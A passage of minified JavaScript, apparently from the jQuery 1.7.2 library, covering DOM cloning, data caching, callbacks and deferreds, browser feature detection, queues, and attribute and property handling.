c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLowerCase(),c==="object"?b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?b.selected=a.defaultSelected:c==="input"||c==="textarea"?b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value&&(b.value=a.value)),b.removeAttribute(f.expando),b.removeAttribute("_submit_attached"),b.removeAttribute("_change_attached"))}function bj(a,b){if(b.nodeType===1&&!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d<e;d++)f.event.add(b,c,i[c][d])}h.data&&(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,"table")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function U(a){var b=V.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)>=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c<d;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d&&e.isArray(d)?d:[]):h=d&&e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b&&(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e&&(a.$=g),b&&a.jQuery===e&&(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0&&!--e.readyWait||a!==!0&&!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0&&--e.readyWait>0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(f!==b){j=i===b&&e.isFunction(f),k&&(j?(j=c,c=function(a,b,c){return j.call(e(a),c)}):(c.call(a,f),c=null));if(c)for(;l<m;l++)c(a[l],d,j?f.call(a[l],l,c(a[l],d)):f,i);g=1}return g?a:k?c.call(a):m?c(a[0],d):h},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m,n=function(b){var d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?n(g):h==="function"&&(!a.unique||!p.has(g))&&c.push(g)},o=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,j=!0,m=k||0,k=0,l=c.length;for(;c&&m<l;m++)if(c[m].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}j=!1,c&&(a.once?e===!0?p.disable():c=[]:d&&d.length&&(e=d.shift(),p.fireWith(e[0],e[1])))},p={add:function(){if(c){var a=c.length;n(arguments),j?l=c.length:e&&e!==!0&&(k=a,o(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){j&&f<=l&&(l--,f<=m&&m--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&p.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(j?a.once||d.push([b,c]):(!a.once||!e)&&o(b,c));return this},fire:function(){p.fireWith(this,arguments);return this},fired:function(){return!!i}};return p};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p=c.createElement("div"),q=c.documentElement;p.setAttribute("className","t"),p.innerHTML=" <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="<div "+n+"display:block;'><div style='"+t+"0;display:block;overflow:hidden;'></div></div>"+"<table "+n+"' cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="<table><tr><td style='"+t+"0;display:none'></td><td>t</td></tr></table>",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="<div style='width:5px;'></div>",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1&&!f._data(j,"parsedAttrs")){g=j.attributes;for(i=g.length;k<i;k++)h=g[k].name,h.indexOf("data-")===0&&(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,"parsedAttrs",!0)}}return m}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split(".",2),d[1]=d[1]?"."+d[1]:"",e=d[1]+"!";return f.access(this,function(c){if(c===b){m=this.triggerHandler("getData"+e,[d[0]]),m===b&&j&&(m=f.data(j,a),m=l(j,a,m));return m===b&&d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var b=f(this);b.triggerHandler("setData"+e,d),f.data(this,a,c),b.triggerHandler("changeData"+e,d)})},null,c,arguments.length>1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length<d)return f.queue(this[0],a);return c===b?this:this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise(c)}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,f.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i<g;i++)e=d[i],e&&(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,""),a.removeAttribute(v?e:c),h&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var 